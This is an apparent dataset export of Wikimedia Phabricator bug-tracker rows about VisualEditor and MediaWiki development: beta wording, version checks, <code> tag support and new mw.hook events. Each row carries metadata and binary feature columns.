+234256,VisualEditor: Clarify beta explanation text,"(In reply to comment #0)
+> User:Hhhippo notes that the language ""VisualEditor is in 'beta' and so many
+> not let you edit everything yet"" is likely to be very confusing to those who
+> are not techie or wiki insiders. New users may understand better if
+> ""VisualEditor"" was explained or replaced with more general language such as
+> ""This editing software"".
+> 
+> While we're talking about clarifying language, I wonder if those same new
+> editors would benefit from a note that they can use ""edit source"" if a
+> feature they need does not work.
+
+This language has already been changed (but not deployed yet - that will be this afternoon) to:
+
+| VisualEditor is in 'beta'. You may encounter software issues, and you may
+| not be able to edit parts of the page. Click ""Edit source"" to switch to
+| wikitext mode – unsaved changes will be lost.
+
+I think this makes this a bit clearer, though not perfect.",,,1374162561,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mc4ekk7vrriv5kycc2u2,task_subcomment,,True,c1,3,True,,,2,,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+53606,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Right now lots of users try VE with MW 1.21.x and are confused as to why they get nothing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1374158040,1375297757.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-63tv3lkov2okxud2zyxo,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+233560,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently",This is now merged.,,,1375297757,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+233552,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76869 merged by jenkins-bot:
+Add dependency check for MW1.22/wmf11
+
+https://gerrit.wikimedia.org/r/76869",,,1375297187,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233549,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76869 had a related patch set uploaded by Jforrester:
+Add dependency check for MW1.22/wmf11
+
+https://gerrit.wikimedia.org/r/76869",,,1375233664,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233543,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76706 merged by jenkins-bot:
+Check MW version before loading VE
+
+https://gerrit.wikimedia.org/r/76706",,,1375217200,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+233537,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","Change 76706 had a related patch set uploaded by Esanders:
+Check MW version before loading VE
+
+https://gerrit.wikimedia.org/r/76706",,,1375181969,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+233530,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently",Digging around I assume wfUseMW( '1.22alpha' )?,,,1375098833,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0
+233526,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently","http://www.mediawiki.org/wiki/Extension:VisualEditor says yes.
+
+I'm not familiar with how extensions usually check for MW version compatibility. Obviously we could do it in the client and throw a JS exception, but there may a preferred way in PHP?",,,1375098410,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+233522,"VisualEditor: If running on an old MW so jquery.client doesn't have what we need, don't just fail silently",Is MW >= 1.22 a requirement? If so we can check wgVersion and throw an exception,,,1375098204,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-63tv3lkov2okxud2zyxo,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+53592,VisualEditor: Remove formatting drop-down's horrendous use of strings as implicit message names,"'label': 'foo' should mean that the label is 'foo', not ve.msg( 'foo' );
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1374109200,1380056460.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-gdwu5ick5nfagic7txm6,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+232773,VisualEditor: Remove formatting drop-down's horrendous use of strings as implicit message names,This has been resolved in Ic97a636f9a193374728629931b6702bee1b3416a - now menu options are individual tools and they have static titleMessage properties.,,,1380056460,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-gdwu5ick5nfagic7txm6,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+53590,VisualEditor: Support the <code> tag as a text annotation,"VisualEditor should support adding and editing the code tag (<code></code>).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1374109140,1374868236.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-ktldutlvil3ngaxt2l2k,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+232679,VisualEditor: Support the <code> tag as a text annotation,"This is now done, but marked as ""experimental"" (so it will show up on MediaWiki.org and the test wikis, but not on other production wikis like the Wikipedias). This is mostly because we don't yet have a proper design for how to have lots of different text annotations (currently we're tracking bugs to create an additional eight on top of the four that now exist including this one). Once we've got a design for that, we'll switch it out of experimental mode, but I'll mark this as fixed for now.",,,1374868236,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+232674,VisualEditor: Support the <code> tag as a text annotation,"Change 76077 merged by jenkins-bot:
+Code annotation button
+
+https://gerrit.wikimedia.org/r/76077",,,1374867696,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232669,VisualEditor: Support the <code> tag as a text annotation,"Change 76074 merged by jenkins-bot:
+'CodeScript' => 'Code'
+
+https://gerrit.wikimedia.org/r/76074",,,1374867080,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+232661,VisualEditor: Support the <code> tag as a text annotation,"Change 76077 had a related patch set uploaded by Esanders:
+Code annotation
+
+https://gerrit.wikimedia.org/r/76077",,,1374836628,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+232652,VisualEditor: Support the <code> tag as a text annotation,"Change 76074 had a related patch set uploaded by Esanders:
+'CodeScript' => 'Code'
+
+https://gerrit.wikimedia.org/r/76074",,,1374836623,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+232643,VisualEditor: Support the <code> tag as a text annotation,"With the latest master, <code> blocks are no longer alienated (so you can edit their contents and copy them), but we haven't added the user interaction tools to set or unset the styling.",,,1374255093,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1
+232638,VisualEditor: Support the <code> tag as a text annotation,"Change 74563 merged by jenkins-bot:
+De-alienate <code>foo</code> blocks (code element)
+
+https://gerrit.wikimedia.org/r/74563",,,1374195080,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+232632,VisualEditor: Support the <code> tag as a text annotation,"Change 74563 had a related patch set uploaded by Jforrester:
+De-alienate <code>foo</code> blocks (code element)
+
+https://gerrit.wikimedia.org/r/74563",,,1374192477,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ktldutlvil3ngaxt2l2k,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+53583,"Add more mw.hook events for wikipage: diff, categories etc.","T32713 added ""wikipage.content"" passing it #mw-content-text, and fired it on initial load and from live preview (and other code like VisualEditor and other extensions/gadgets should also fire it when they replace/update the content).
+
+A few others we should add for things outside the content:
+
+* [DONE in rMW125bfdfec63c3be1b7d94be2d03e21226fcf23f5] `wikipage.categories`
+  arguments: `.catlinks`
+
+  Fired initially and from live preview.
+  e.g. for things like HotCat to listen to
+
+* `wikipage.langlinks`
+  arguments: `#p-lang`
+
+  Fire initially if `#p-lang` exists/non-empty, and from live preview.
+
+* [DONE in rMW9cfb9cb9fba4dcfd25a0924237681b7cc86a20df] wikipage.diff
+  arguments: `#wikiDiff`
+
+  Fire initially if page has a diff on it, and from live preview if user
+  did ""show changes"".
+
+  e.g. for patrolling tools to hook into the diff and the [mark as patrolled] link.
+
+* [DONE in rMW8d0dcb863701e78cb4b066f176da89091bba67b3] `wikipage.editform`
+  arguments: (common parent of `.mw-summary-preview`, `.templatesUsed`, `.hiddencats`)
+
+  e.g. for vector.footerCleanup and other things that hook into this.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: normal",Medium,50.0,1374104340,1538452334.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-kg6wsbien7yipr4dzrul,task_description,resolved,True,c1,3,True,True,False,2,,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+2062834,"Add more mw.hook events for wikipage: diff, categories etc.","Although this certainly has been discussed somewhere already, I'd suggest adding classes `.mw-diff` and `.mw-catlinks`, that would be used instead of `table.diff` and `.catlinks` respectively (of course, keeping these for BC).
+
+And we could still keep the `[data-mw=""interface""]` attributes, for cases we want to be really sure to avoid matching user-generated markup.
+
+Refs https://github.com/wikimedia/mediawiki/commit/b1e3f9e38d7c74e080e99e58dac55629b9f0b097",,,1675614246,,PHID-USER-povcbbfr2b6v4te3anc7,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,500,,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+1151861,"Add more mw.hook events for wikipage: diff, categories etc.","Marking as done for now. We can consider the last point if/when we have a use case. When it comes up, I'd recommend we place the `mw.hook(..).fire()` code in `skins.vector.js` and same for other skins that want to support the hook.",,,1538452334,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,274,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1151860,"Add more mw.hook events for wikipage: diff, categories etc.","Hm.. might make sense to fire the Language portlet from individual skin scripts, rather than making core responsible. That also avoids shipping potentially dead code to all skins (e.g. Minerva where it wouldn't be used).",,,1538452237,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,274,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+587272,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1918917, @TheDJ wrote:
+> @Krinkle you do not think there is enough value if hotcat only hooks into this after VE saved the page ?
+
+That is valuable, but isn't compatible with using this hook. It would either need to hardcode VE, make exceptions for preview, or simply use the 'wikipage.content' or 'postEdit' hook instead. There doesn't seem to be an appropiate way for HotCat to use 'wikipage.categories' in that case.",,,1452116407,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,131,,0,0,0,0,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1
+587271,"Add more mw.hook events for wikipage: diff, categories etc.",@Krinkle you do not think there is enough value if hotcat only hooks into this after VE saved the page ?,,,1452116319,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,131,,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+586994,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1885706, @TheDJ wrote:
+> @Krinkle, probably yes, but I think that is a concern for HotCat, and not for the hook I would assume.
+
+True, but if HotCat shouldn't use it, then that leaves the use-case question empty for this hook. Which means I may want to revert it. (It got merged meanwhile by @Jdlrobson)",,,1452057316,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,131,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+586910,"Add more mw.hook events for wikipage: diff, categories etc.","Change 219629 merged by jenkins-bot:
+Add wikipage.categories hook
+
+[[https://gerrit.wikimedia.org/r/219629]]",,,1452034617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,131,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+580098,"Add more mw.hook events for wikipage: diff, categories etc.","@Krinkle, probably yes, but I think that is a concern for HotCat, and not for the hook I would assume.",,,1450298905,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+580086,"Add more mw.hook events for wikipage: diff, categories etc.",Triggering wikipage.categories post-save in VisualEditor will help HotCat. However triggering it in edit preview might be unexpected in the particular case of HotCat since it probably shouldn't be creating an edit interface for categories whilst on an edit page for wikitext already (since the two would conflict). Something to consider with regards to separation of concerns. ,,,1450297840,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+580047,"Add more mw.hook events for wikipage: diff, categories etc.",Rebased that patch to only cover the categories case (as it is analogous to diffs). langlinks first need templates per skin probably.,,,1450294851,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+579947,"Add more mw.hook events for wikipage: diff, categories etc.","Apologies and thanks for clarifying.
+
+Patch open is:
+https://gerrit.wikimedia.org/r/#/c/219629/",,,1450283149,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,128,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+579865,"Add more mw.hook events for wikipage: diff, categories etc.","Of the 4 items in the list of the description, one was marked as done. A second one is now also marked as done. There is also one patch still under review... and a 5 item was being discussed as possibly qualifying for addition to the list.
+",,,1450272250,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,True,,,128,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+579391,"Add more mw.hook events for wikipage: diff, categories etc.",Not sure what is left to do. Someone should re-open and clarify in the description (preferably via checkboxes if that's not true),,,1450209312,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,128,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+571997,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1844576, @Krinkle wrote:
+>>>! In T53583#1606076, @Schnark wrote:
+>> Not mentioned yet, but IMHO makes sense, too: `#firstHeading`
+> 
+> Why?
+
+There are tools that modify the first heading, for example append a link to edit the lead section only. or to change the heading via JS in cases where DISPLAYTITLE can't be used (e.g. [[https://fr.wikipedia.org/wiki/J_sharp|fr:J sharp]]), just to name two examples. These scripts should run again when the content was updated.",,,1449131751,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,126,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,0,1
+571844,"Add more mw.hook events for wikipage: diff, categories etc.",Is this resolved? If not what's left to do?,,,1449100826,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kg6wsbien7yipr4dzrul,task_subcomment,,True,c1,3,False,,,126,,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+571365,"Add more mw.hook events for wikipage: diff, categories etc.",">>! In T53583#1606076, @Schnark wrote:
+> Not mentioned yet, but IMHO makes sense, too: `#firstHeading`
+
